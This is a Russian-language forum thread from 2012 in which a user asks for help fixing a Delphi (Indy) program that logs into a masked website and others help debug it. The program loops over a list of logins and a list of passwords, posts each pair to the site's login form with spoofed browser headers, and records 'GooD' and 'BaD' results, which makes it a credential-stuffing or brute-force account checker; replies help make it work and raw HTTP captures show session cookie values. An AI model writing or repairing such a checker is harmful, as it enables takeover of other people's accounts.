1. BanDiTuK29.04.2025 в 17:32от
Загрузка...
Загрузка...

Авторизация

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем dan9, 26.05.2012.

  1. dan9

    dan9

    Статус:
    Оффлайн
    Регистрация:
    14.09.11
    Сообщения:
    184
    Репутация:
    81 +/-
    Не проходит авторизация на одном сайте.
    Вот код
    Код:
    procedure TForm1.Button1Click(Sender: TObject);
    var
    CM : TIdCookieManager;
    post,get:string;
    data:tstringlist;
    l,p:integer;
    begin
      Label1.Caption:='0';
      Label2.Caption:='0';
      for l := 0 to Memo1.Lines.Count - 1 do /
      for p := 0 to Memo2.Lines.Count -1 do 
      begin
      CM := TidCookieManager.Create(IdHTTP1);
      IdHTTP1.AllowCookies := True;
      IdHTTP1.CookieManager := CM;
      IdHTTP1.HandleRedirects := True;
    
      {IdHTTP1.Request.UserAgent:=  'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0';
      IdHTTP1.Request.Referer         :=  'http://*****?id=5';
      IdHTTP1.Request.Accept          :=  'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
      IdHTTP1.Request.AcceptLanguage  :=  'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3';
      IdHTTP1.Request.AcceptCharSet   :=  'iso-8859—1, utf-8, utf-16, *;q=0,1';
      IdHTTP1.Request.AcceptEncoding  :=  'gzip, deflate';
      IdHTTP1.Request.Connection      :=  'keep-alive';
      IdHTTP1.Request.ContentType     :=  'application/x-www-form-urlencoded';  }
    
    begin
    data:=tstringlist.Create; 
    data.Add('login='+Memo1.Lines[l]);
    data.Add('pass='+Form1.Memo2.Lines[p]);
    data.Add('x=11');
    data.Add('y=13');
    data.Add('authsubmit=Вход');
    post:=IdHTTP1.Post('http://***',data); 
    get:=IdHTTP1.Get('http://***');
    if Pos('logout',get)<>0 then 
    begin
    Memo3.Lines.Add(Memo1.Lines[l]+';'+Memo2.Lines[p]+ ' |GooD');
    Label1.Caption:=IntToStr(StrToInt(Label1.Caption)+1)
    end
    else
    //Memo3.Lines.Add(Memo1.Lines[l]+';'+Memo2.Lines[p]+ ' |BaD');
    Label2.Caption:=IntToStr(StrToInt(Label2.Caption)+1)
    end;
    data.Free;
      end;
    end;
    
    
    В чем может быть ошибка ?

    ЗЫ.
    Чувствую либо в куках либо в маскировке под браузер......

    Или можно облегчить авторизацию?
     
  2. fenks

    fenks

    Статус:
    Оффлайн
    Регистрация:
    18.05.12
    Сообщения:
    195
    Репутация:
    105 +/-
    Разница между гудам и бадом какая? выложи снифер скрин с гудом и бэдом.
    Зачем скобки? это только когда коментируют текст делают скобки...

    Так же не понятно это:
    Зачем ты делаеш пост запрос? если ты его еще не проверил, и тут делаеш гет запрос и проверяеш гет запрос? ели ты еще с пост запросом до конца дела не довел?
     
    Последнее редактирование: 26.05.2012
  3. dan9

    dan9

    Статус:
    Оффлайн
    Регистрация:
    14.09.11
    Сообщения:
    184
    Репутация:
    81 +/-
    Пробовал во всех вариантах.
    Скобки убрал.
    Скрины с гудом через сайт.
    [​IMG]

    [​IMG]

    [​IMG]


    Бед через делфи
    Тут он вообще через ПОСТ авторизации не отправил данные хм..
    [​IMG]

    Зато тут отправил но в коде я указал что б он по этому адресу искал "logout" а он послал данные..хм
    [​IMG]

    [​IMG]

    И куки пустые...
    [​IMG]

    Вообще не пойму что за фигня х_х где то накасячил
     
  4. dan9

    dan9

    Статус:
    Оффлайн
    Регистрация:
    14.09.11
    Сообщения:
    184
    Репутация:
    81 +/-
    Я так и понял что с постом не закончил.
    Но если закоментить ГЕТ запорос
    Получается он типо логинется по ПОСТ запросу "http://www.****.ru/main/auth/"
    и пытается там же найти logout. Но там его нет ) Проверял через браузер

    ЗЫ.
    При логине на сайте, автоматом перекидывает на http://www.*****.ru/account/stat/
    хм...Чет запутался уже...
     
  5. fenks

    fenks

    Статус:
    Оффлайн
    Регистрация:
    18.05.12
    Сообщения:
    195
    Репутация:
    105 +/-
    Так же сделай гуд/бад со вкладки Raw Stream и напиши что в Response Content
     
  6. Skobka

    Skobka

    Статус:
    Оффлайн
    Регистрация:
    30.10.11
    Сообщения:
    800
    Репутация:
    262 +/-
    жесть... :D
     
  7. dan9

    dan9

    Статус:
    Оффлайн
    Регистрация:
    14.09.11
    Сообщения:
    184
    Репутация:
    81 +/-
    В Response Content при гуде просто "0"

    В Response Content при беде пусто


    Raw Stream при гуде
    Код:
    POST /main/auth/ HTTP/1.0
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 81
    Host: www.*****.ru
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Charset: iso-8859?1, utf-8, utf-16, *;q=0,1
    Accept-Encoding: gzip, deflate, identity
    Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
    Referer: http://www.****.ru/main/sorry/?id=5
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
    
    и

    Код:
    TTP/1.1 302 Moved Temporarily
    Transfer-Encoding: chunked
    Server: nginx
    Date: Fri, 25 May 2012 23:56:18 GMT
    Content-Type: text/html
    Connection: keep-alive
    X-Powered-By: PHP/5.3.13-1~dotdeb.0
    Set-Cookie: log=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.******.ru
    Set-Cookie: pwd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.******.ru
    Set-Cookie: key=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.******.ru
    Set-Cookie: log=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
    Set-Cookie: pwd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
    Set-Cookie: key=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
    Set-Cookie: log=******; expires=Wed, 30-May-2012 23:56:18 GMT; path=/
    Set-Cookie: pwd=f502206970c32fccd096fee20995ba30; expires=Wed, 30-May-2012 23:56:18 GMT; path=/
    Set-Cookie: key=629f7417ccd6352660aaa69310ebb1e2; expires=Wed, 30-May-2012 23:56:18 GMT; path=/
    Location: /account/stat/
    
    Raw Stream при беде
    Код:
    POST /main/auth/ HTTP/1.0
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 81
    Host: www.*****.ru
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Charset: iso-8859?1, utf-8, utf-16, *;q=0,1
    Accept-Encoding: gzip, deflate, identity
    Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
    Referer: http://www.****.ru/main/sorry/?id=5
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
    
    и

    Код:
    HTTP/1.1 302 Moved Temporarily
    Server: nginx
    Date: Sat, 26 May 2012 00:34:59 GMT
    Content-Type: text/html
    Connection: close
    X-Powered-By: PHP/5.3.13-1~dotdeb.0
    Set-Cookie: log=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.******.ru
    Set-Cookie: pwd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.******.ru
    Set-Cookie: key=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.******.ru
    Set-Cookie: log=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
    Set-Cookie: pwd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
    Set-Cookie: key=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
    Set-Cookie: log=******; expires=Thu, 31-May-2012 00:34:59 GMT; path=/
    Set-Cookie: pwd=f502206970c32fccd096fee20995ba30; expires=Thu, 31-May-2012 00:34:59 GMT; path=/
    Set-Cookie: key=629f7417ccd6352660aaa69310ebb1e2; expires=Thu, 31-May-2012 00:34:59 GMT; path=/
    Location: /account/stat/
    
     
  8. dan9

    dan9

    Статус:
    Оффлайн
    Регистрация:
    14.09.11
    Сообщения:
    184
    Репутация:
    81 +/-
    Получается вся загвостка в ПОСТ и ГЕТ ?

    Не правильно написал авторизацию ?
     
  9. fenks

    fenks

    Статус:
    Оффлайн
    Регистрация:
    18.05.12
    Сообщения:
    195
    Репутация:
    105 +/-
    так окей все ясно разница между гудому и бэдом:
    гуд Connection: keep-alive
    при бэде конект закрывается Connection: close

    Теперь мне объясни зачем ты после пост запроса, еще его не проверив, ты делеш гет запрос и его проверяеш?

    тебе надо проверить пост запрос? зачем гет запрос вообще?!
     
  10. dan9

    dan9

    Статус:
    Оффлайн
    Регистрация:
    14.09.11
    Сообщения:
    184
    Репутация:
    81 +/-
    Хм, да косяк.
    Но получается если...
    Убираем гет, он логинется по пост запросу (если еще логинется хД ) и его автоматом перекидывает на http://www.*****.ru/account/stat/
    Как тогда с постом проверку сделать ?
    Чет я тут заплутал...

    ===============

    Ваще я думал так сделать :

    Код:
    begin
    data:=tstringlist.Create; 
    post:=IdHTTP1.Post('http://www.****.ru/main/auth/',data); 
    data.Add('login='+Memo1.Lines[l]);
    data.Add('pass='+Form1.Memo2.Lines[p]);
    data.Add('x=11');
    data.Add('y=13');
    data.Add('authsubmit=Вход');
    //get:=IdHTTP1.Get('http://www.****.ru/account/stat/');
    if Pos('logout',post)<>0 then 
    
    Получается он логинется по пост запросу, потом его перекидывает, гет ловит и проверяет на logout.

    Ох, походу я ваще заплутал ))
     
    Последнее редактирование: 26.05.2012
  11. fenks

    fenks

    Статус:
    Оффлайн
    Регистрация:
    18.05.12
    Сообщения:
    195
    Репутация:
    105 +/-
    Ты мне скажи тебе надо только сделать пост запрос? зачем ГЕТ ЗАПРОС?
     
  12. fenks

    fenks

    Статус:
    Оффлайн
    Регистрация:
    18.05.12
    Сообщения:
    195
    Репутация:
    105 +/-
    Пробуй
     
  13. dan9

    dan9

    Статус:
    Оффлайн
    Регистрация:
    14.09.11
    Сообщения:
    184
    Репутация:
    81 +/-
    При проверки вылетела ошибка HTTP/1.1 302 Moved Temporarily